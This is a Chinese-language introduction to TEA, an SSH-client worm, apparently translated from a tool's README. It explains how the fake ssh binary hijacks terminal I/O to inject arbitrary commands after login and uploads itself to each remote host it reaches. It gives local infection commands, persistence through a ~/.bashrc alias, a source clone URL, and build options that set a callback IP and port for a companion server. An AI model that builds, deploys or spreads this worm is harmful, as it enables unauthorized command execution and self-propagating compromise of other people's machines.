摘要:我們首次執行fakessh時,並不會顯示任何內容,工具會執行post-install.c中的代碼,並將字符串alias ssh=”~/.sshworm/ssh”寫入到~/.bashrc中:。TEA是一款基於TAS框架的SSH客戶端蠕蟲,從本質上說,它是一個仿冒的SSH客戶端,它能夠修改tty輸入/輸出來實現任意命令執行,或通過SSH連接來上傳自身以實現滲透感染。

TEA是一款基於TAS框架的SSH客戶端蠕蟲,從本質上說,它是一個仿冒的SSH客戶端,它能夠修改tty輸入/輸出來實現任意命令執行,或通過SSH連接來上傳自身以實現滲透感染。

爲了實現該工具的正常功能,遠程主機需要滿足以下條件:

1、在登錄時顯示“Last login”信息;
2、dd和stty;
3、目標用戶使用Bash作爲默認Shell;
4、可運行fakessh代碼;
5、~/.bashrc可寫入;

感染本地主機:

mkdir ~/.sshworm
cp ssh ~/.sshworm
alias ssh='~/.sshworm/ssh'

我們首次執行fakessh時,並不會顯示任何內容,工具會執行post-install.c中的代碼,並將字符串alias ssh=”~/.sshworm/ssh”寫入到~/.bashrc中:

$ ssh
$ ssh
usage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface]
[-b bind_address] [-c cipher_spec] [-D [bind_address:]port]
[-E log_file] [-e escape_char] [-F configfile] [-I pkcs11]
[-i identity_file] [-J [user@]host[:port]] [-L address]
[-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]
[-Q query_option] [-R address] [-S ctl_path] [-W host:port]
[-w local_tun[:remote_tun]] destination [command]

實現傳播和感染

我們只需要連接到目標SSH服務器,並且服務器滿足TEA運行條件的話,目標設備以及連接至目標設備的主機就可以成功被感染。

tty修改:

Fakessh執行之後,它將會等到字符串“Last login”來開啓I/O修改(output-hooks.c),當接收到“Last login”之後,它將會發送一些任意指令(inject-cmd.c),然後等待命令執行的結果(output-hooks.c)。如果遠程設備中不存在文件~/.sshworm/ssh的話,蠕蟲將會上傳自身(upload.c)。

卸載:

$ rm -rf ~/.sshworm
$ perl -i -pe 's;alias ssh="~/.sshworm/ssh";;g' ~/.bashrc
$ unalias ssh

編譯

我建議大家使用 musl-libc ,或其他的libc,但我不建議大家使用glibc,因爲使用glibc編譯的代碼會非常大。

獲取源碼:

$ git clone –recurse-submodules https://github.com/hc0d3r/tea

構建選項:

名稱 介紹
IP 遠程IPv4 連接
PORT 遠程port 連接

樣例:

$ make CC=musl-gcc IP=my-ipv4 PORT=1234

服務器

這裏我們製作了一個簡單的服務器來處理鏈接,當post-install.c的代碼被執行之後,服務器將會接收到鏈接。服務器機制非常簡單,當新鏈接建立成功之後,它將會執行一條新的命令並通過命令行傳遞鏈接文件描述符,這樣才能保證執行的程序能夠處理鏈接。

編譯:

$ cd server
$ make
cc -Wall -Wextra -O3 -c net.c -o net.o
cc -Wall -Wextra -O3 -c replace.c -o replace.o
cc -Wall -Wextra -O3 -c term.c -o term.o
cc -Wall -Wextra -O3 -c main.c -o main.o
cc -Wall -Wextra -O3 -o server net.o replace.o term.o main.o

工具演示

相關文章